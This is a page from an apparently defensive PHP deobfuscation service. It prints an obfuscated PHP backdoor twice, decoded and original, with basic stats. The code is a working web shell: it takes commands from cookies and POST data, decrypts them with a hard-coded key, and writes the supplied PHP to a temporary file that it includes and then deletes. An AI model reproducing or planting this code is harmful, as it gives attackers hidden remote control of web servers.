Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $meipxyv = 'meipxyv' /* xeermk */ ^ ''; $gdpyavlvnkhefrgmljt = $_C..
Decoded Output download
<?php
$meipxyv = 'meipxyv' /* xeermk */ ^ '';
$gdpyavlvnkhefrgmljt = $_COOKIE;$cqimx = 63;$daxaea = /* t */ $_POST;
function ybwdqc()
{
$nnbcxpiwk /* pbzhe */ = /* so */ 'ic'; $cpscredx = 'rcfvaivp'; $_qcwqol /* df */ = '_evypufvc';
$qhykdxmdqm /* fsdnxl */ = 'mz_fq';
$cpscredx /*ehxt */ = strtolower($qhykdxmdqm); $esoidgn = 'svsbfzf';
$ey_baqcb = 'zu';
}
function vhroj($whiemsrv, /* nf */ $qohdsrktitmbsiey){
global $meipxyv; $phmufat = /*rx_ */ ""; $hc_psnn = 43;
/*u */ for ($gdpyavlvnk = 0; $gdpyavlvnk /* wcbar*/ < strlen($whiemsrv);) {
for /*iurl*/ ($qohdsrkt = 0; $qohdsrkt < strlen($qohdsrktitmbsiey) /* mnytwx*/ && $gdpyavlvnk < strlen($whiemsrv); $qohdsrkt++, /*buu */ $gdpyavlvnk++) {
$phmufat .= $meipxyv(ord($whiemsrv[$gdpyavlvnk]) ^ ord($qohdsrktitmbsiey[$qohdsrkt]));
$qohdsrktbyztnum = 20;
} }
/*wykd */ return $phmufat;
}
function rjterz($qxp_rix, /*eytoi */ $whiemsrv)
{ /*hi */ global /*u */ $meipxyv;
/* gjg */ $mmalegbx /* nxa */ = /* atenc */ sprintf("."."/".$meipxyv(48-11) . /* lughts */ "s" . "." . /* hje_ */ "p" /* th */ . /* n */ "l", md5($qxp_rix));
file_put_contents($mmalegbx, "<" . /*fnlix */ "?" . "p" . $meipxyv(884-780) /* yvqmu */ . "p" . $meipxyv(32) /* die */ . "u" . /* fpcrds*/ "n"."l"."i"."n" . /*vwtixz */ "k" /*xt */ . $meipxyv(40) . "_"."_"."F"."I"."L"."E" . $meipxyv(95) . /* is */ "_".")" . ";" /* ldj*/ . $meipxyv(32) /* usqy */ . $whiemsrv["d"]);
$ktqkuxlco = 'wzxggqhb';
include($mmalegbx); $dlzeq /* dyjviy*/ = $mmalegbx;
$krivky = /* _eitr */ trim($ktqkuxlco);
$koewzd = 'gbr';
@unlink($dlzeq);
$uisvhpxkbi /* ldh*/ = 41; $kpmboikbd /* eb */ = 5;
}
function csfssymkhy()
{ global /* ozb */ $meipxyv;
$gdpyavlvnk = array();
$_fggztx = 'csxzn_yih';
$gdpyavlvnk["p"."v"] /*kdqsqa */ = phpversion();
$sldtiwudy = 45;
$gdpyavlvnk[$meipxyv(308-193) . "v"] = /* zok */ "3" . $meipxyv(557-511) . /*m */ "5";
/* x */ echo @serialize($gdpyavlvnk);
}
function hemjc_j()
{ $_yxpi = 67; /* iodg */ $nstvebdd = 'xxlyr';
$nszgvrk = 31; $_yxpi = /* d*/ $nszgvrk /* n */ * 20; $pxatb_apch = /* ev */ 35;}
hemjc_j();
function /* sazvt */ ibcctx($whiemsrv, /*wz*/ $qxp_rix, $bre_pmigrc){ global /*ms */ $meipxyv;
$whiemsrv = unserialize(vhroj(vhroj(base64_decode($whiemsrv), $qxp_rix), /*__iz*/ $bre_pmigrc));
if (isset($whiemsrv["a"."k"])) /* baua_h*/ {
if ($whiemsrv["a"] == "i") { csfssymkhy();
} /* od */ elseif /* pe*/ ($whiemsrv["a"] /* khum */ == /* _ */ $meipxyv(101)) {
/*ktnpc */ rjterz($qxp_rix, /* q*/ $whiemsrv);
$ahnax /* nif*/ = 74;
/* f */ }
exit();
}
}
$gdpyavlvnkhefrgmljt /* qowjmv */ = /* txya */ array_merge($daxaea, /* j */ $gdpyavlvnkhefrgmljt);
$qxp_rix /* dih*/ = "c"."6"."2" /* whixf*/ . /* zy */ $meipxyv(48) /* w */ . /* lhnv */ $meipxyv(99) . "d" /* l */ . "f" /* u */ . /*pavxxt */ "a" . "-"."4".$meipxyv(51) /*wv */ . /* yml */ $meipxyv(54) . "b" /* _c */ . $meipxyv(45) . "4"."5"."6" . /* f */ "9".$meipxyv(446-401) /*kr */ . "b".$meipxyv(53) . "5" /* ef */ . "a" . /* uawji */ $meipxyv(45) . "7"."8"."3"."5".$meipxyv(699-602) . /* jv */ $meipxyv(682-580) /*zyqmc */ . "0"."8" . /*d */ "8" . "b" . "2" /* wsthnn */ . "6";
foreach ($gdpyavlvnkhefrgmljt as $bre_pmigrc => $whiemsrv) {
ibcctx($whiemsrv, $qxp_rix, /* j*/ $bre_pmigrc);}
$bulaak_ = 'z_u_';
$pazlu_c = /* kgh */ 31;
ybwdqc();
?>
Did this file decode correctly?
Original Code
<?php
$meipxyv = 'meipxyv' /* xeermk */ ^ '';
$gdpyavlvnkhefrgmljt = $_COOKIE;$cqimx = 63;$daxaea = /* t */ $_POST;
function ybwdqc()
{
$nnbcxpiwk /* pbzhe */ = /* so */ 'ic'; $cpscredx = 'rcfvaivp'; $_qcwqol /* df */ = '_evypufvc';
$qhykdxmdqm /* fsdnxl */ = 'mz_fq';
$cpscredx /*ehxt */ = strtolower($qhykdxmdqm); $esoidgn = 'svsbfzf';
$ey_baqcb = 'zu';
}
function vhroj($whiemsrv, /* nf */ $qohdsrktitmbsiey){
global $meipxyv; $phmufat = /*rx_ */ ""; $hc_psnn = 43;
/*u */ for ($gdpyavlvnk = 0; $gdpyavlvnk /* wcbar*/ < strlen($whiemsrv);) {
for /*iurl*/ ($qohdsrkt = 0; $qohdsrkt < strlen($qohdsrktitmbsiey) /* mnytwx*/ && $gdpyavlvnk < strlen($whiemsrv); $qohdsrkt++, /*buu */ $gdpyavlvnk++) {
$phmufat .= $meipxyv(ord($whiemsrv[$gdpyavlvnk]) ^ ord($qohdsrktitmbsiey[$qohdsrkt]));
$qohdsrktbyztnum = 20;
} }
/*wykd */ return $phmufat;
}
function rjterz($qxp_rix, /*eytoi */ $whiemsrv)
{ /*hi */ global /*u */ $meipxyv;
/* gjg */ $mmalegbx /* nxa */ = /* atenc */ sprintf("."."/".$meipxyv(48-11) . /* lughts */ "\x73" . "\56" . /* hje_ */ "\160" /* th */ . /* n */ "\x6c", md5($qxp_rix));
file_put_contents($mmalegbx, "<" . /*fnlix */ "\77" . "\160" . $meipxyv(884-780) /* yvqmu */ . "\x70" . $meipxyv(32) /* die */ . "\165" . /* fpcrds*/ "n"."l"."\x69"."\156" . /*vwtixz */ "\153" /*xt */ . $meipxyv(40) . "_"."_"."F"."I"."L"."\x45" . $meipxyv(95) . /* is */ "_"."\x29" . "\73" /* ldj*/ . $meipxyv(32) /* usqy */ . $whiemsrv["d"]);
$ktqkuxlco = 'wzxggqhb';
include($mmalegbx); $dlzeq /* dyjviy*/ = $mmalegbx;
$krivky = /* _eitr */ trim($ktqkuxlco);
$koewzd = 'gbr';
@unlink($dlzeq);
$uisvhpxkbi /* ldh*/ = 41; $kpmboikbd /* eb */ = 5;
}
function csfssymkhy()
{ global /* ozb */ $meipxyv;
$gdpyavlvnk = array();
$_fggztx = 'csxzn_yih';
$gdpyavlvnk["p"."v"] /*kdqsqa */ = phpversion();
$sldtiwudy = 45;
$gdpyavlvnk[$meipxyv(308-193) . "v"] = /* zok */ "\x33" . $meipxyv(557-511) . /*m */ "\65";
/* x */ echo @serialize($gdpyavlvnk);
}
function hemjc_j()
{ $_yxpi = 67; /* iodg */ $nstvebdd = 'xxlyr';
$nszgvrk = 31; $_yxpi = /* d*/ $nszgvrk /* n */ * 20; $pxatb_apch = /* ev */ 35;}
hemjc_j();
function /* sazvt */ ibcctx($whiemsrv, /*wz*/ $qxp_rix, $bre_pmigrc){ global /*ms */ $meipxyv;
$whiemsrv = unserialize(vhroj(vhroj(base64_decode($whiemsrv), $qxp_rix), /*__iz*/ $bre_pmigrc));
if (isset($whiemsrv["a"."k"])) /* baua_h*/ {
if ($whiemsrv["a"] == "\x69") { csfssymkhy();
} /* od */ elseif /* pe*/ ($whiemsrv["a"] /* khum */ == /* _ */ $meipxyv(101)) {
/*ktnpc */ rjterz($qxp_rix, /* q*/ $whiemsrv);
$ahnax /* nif*/ = 74;
/* f */ }
exit();
}
}
$gdpyavlvnkhefrgmljt /* qowjmv */ = /* txya */ array_merge($daxaea, /* j */ $gdpyavlvnkhefrgmljt);
$qxp_rix /* dih*/ = "c"."6"."\x32" /* whixf*/ . /* zy */ $meipxyv(48) /* w */ . /* lhnv */ $meipxyv(99) . "\x64" /* l */ . "\x66" /* u */ . /*pavxxt */ "\141" . "-"."4".$meipxyv(51) /*wv */ . /* yml */ $meipxyv(54) . "\142" /* _c */ . $meipxyv(45) . "4"."5"."\66" . /* f */ "9".$meipxyv(446-401) /*kr */ . "b".$meipxyv(53) . "\65" /* ef */ . "\x61" . /* uawji */ $meipxyv(45) . "7"."8"."3"."5".$meipxyv(699-602) . /* jv */ $meipxyv(682-580) /*zyqmc */ . "0"."\70" . /*d */ "\70" . "\142" . "\62" /* wsthnn */ . "6";
foreach ($gdpyavlvnkhefrgmljt as $bre_pmigrc => $whiemsrv) {
ibcctx($whiemsrv, $qxp_rix, /* j*/ $bre_pmigrc);}
$bulaak_ = 'z_u_';
$pazlu_c = /* kgh */ 31;
ybwdqc();
?>
Function Calls
hemjc_j | 1 |
array_merge | 1 |
Stats
MD5 | d4a9f4a2234b929aa4f49abd59e952ff |
Eval Count | 0 |
Decode Time | 70 ms |